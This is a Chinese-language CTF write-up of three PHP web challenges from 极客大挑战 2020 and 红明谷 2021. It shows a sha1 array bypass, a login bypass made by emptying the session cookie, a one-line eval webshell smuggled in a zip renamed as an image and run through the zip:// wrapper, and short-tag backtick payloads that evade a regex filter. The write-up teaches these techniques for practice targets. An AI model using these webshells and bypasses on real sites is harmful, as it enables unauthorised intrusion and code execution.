[极客大挑战 2020]

[极客大挑战 2020]Roamphp1-Welcome

 

 已进入页面,以为是这道题的环境不对,可是查看f12竟然有东西,然后查一下405

请求方式有误,比如应该用GET请求方式的资源,用了POST

改为post请求方式,出现源码,然后就是sha1函数漏洞,数组绕过即可 

[极客大挑战 2020]Roamphp2-Myblog

打开界面不允许注册,page传参的过程中page=login,因为我以前见过的都是login.php所以这感觉会有些问题,试一下伪协议读取源码

应该能读取到的,上面的登录没有后缀.php所以我觉得可能是默认加上.php猜测

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

然后继续访问secret.php

<?php
$secret_seed = mt_rand();
?>

 上面的文件代码的意思也就是password是从cookie中随机整数拼凑而成,肯定还有一个文件去使用他俩我们找一下,

 这里,因为是自动加上了.php所以,试一下admin/user是不是一个文件,解码获得

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>

从这里我们知道了username,password是cookie随机拼凑而成,所以我们可以删除掉cookie,这样我们密码为空,就可以相等

删除掉cookie得值,可是限制了密码不能为空,看一下密码得文本框源码 

这里有个require,删除掉就可以输入空白 

这有上传照片得功能,源码就是下面

<?php
		if(isset($_FILES['Files']) and $_SESSION['status'] === true){
			$tmp_file = $_FILES['Files']['name'];
			$tmp_path = $_FILES['Files']['tmp_name'];
			if(($extension = pathinfo($tmp_file)['extension']) != ""){//文件的后缀不能为空
				$allows = array('gif','jpeg','jpg','png');//白名单
				if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
						$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
						move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);//更改上传文件得位置
						echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
				} else {
					echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
				}
			}
		}
	  ?>

可以看到,他设置了白名单,但我想传一句话木马上去,而且上传成功的话他会告诉你上传的路径,然后再用之前可以传的page参数可以解析伪协议的,但是并不确定是否可以php文件也会被解析,先不想那么多,做来看。坚定了我传木马的决心,这里想到了将php文件打包成zip,改后缀名为jpg,再利用zip伪协议进行读取。zip协议是可以解压缩jpg后缀的压缩包的。

构造

<?php @eval($_POST['cmd']);?>  的php然后压缩,把zip改为白名单中的png

上传成功, 获得路径,然后访问一下路径看文件是否真的上传成功 

上传成功,然后使用zip这个伪协议

zip:// + zip路径 + %23 + php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23)
http://82165fb2-5d53-4a86-a386-04058d68f23c.node4.buuoj.cn:81/?page=zip://./assets/img/upload/901edcb2cb7e73704f556f4c50d8b1ee3e7f428d.jpg%231
这里不加.php后缀是因为在index.php包含的时候默认加上了,还要注意zip协议后面跟的是./因为没有去看绝对路径。

然后通过post传参shell=system('ls');获取目录,最后获得flag 

[红明谷CTF 2021]write_shell

 打开界面,发现了源码,进行审计

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;   //这个实现的主要就是正则过滤
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; //沙箱,和ip的md加密链接在一起
if(!file_exists($dir)){   //如果文件不存在就创建一个
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir; //从这可以获得dir目录
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
     //这把命令写入前面的文件中,如果我们写入一个一句话木马应该可以ak
}
?>

整体看下来,要执行check过滤函数,我们就需要执行,waf的else部分,然后过滤掉了php、eval可以用PHP短标签进行绕过,比如

<?=`ls%09/`?>然后传参就可以获得flag

第一步,获得dir

sandbox/c47b21fcf8f0bc8b3920541abd8024fd/ 

第二步get 传参

然后我们可以访问刚才获得沙箱界面查看回显

 这里注意过滤掉了空格可以用 %09或\t代替

<?=`ls%09/`?>

<?=`ls\t/`?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值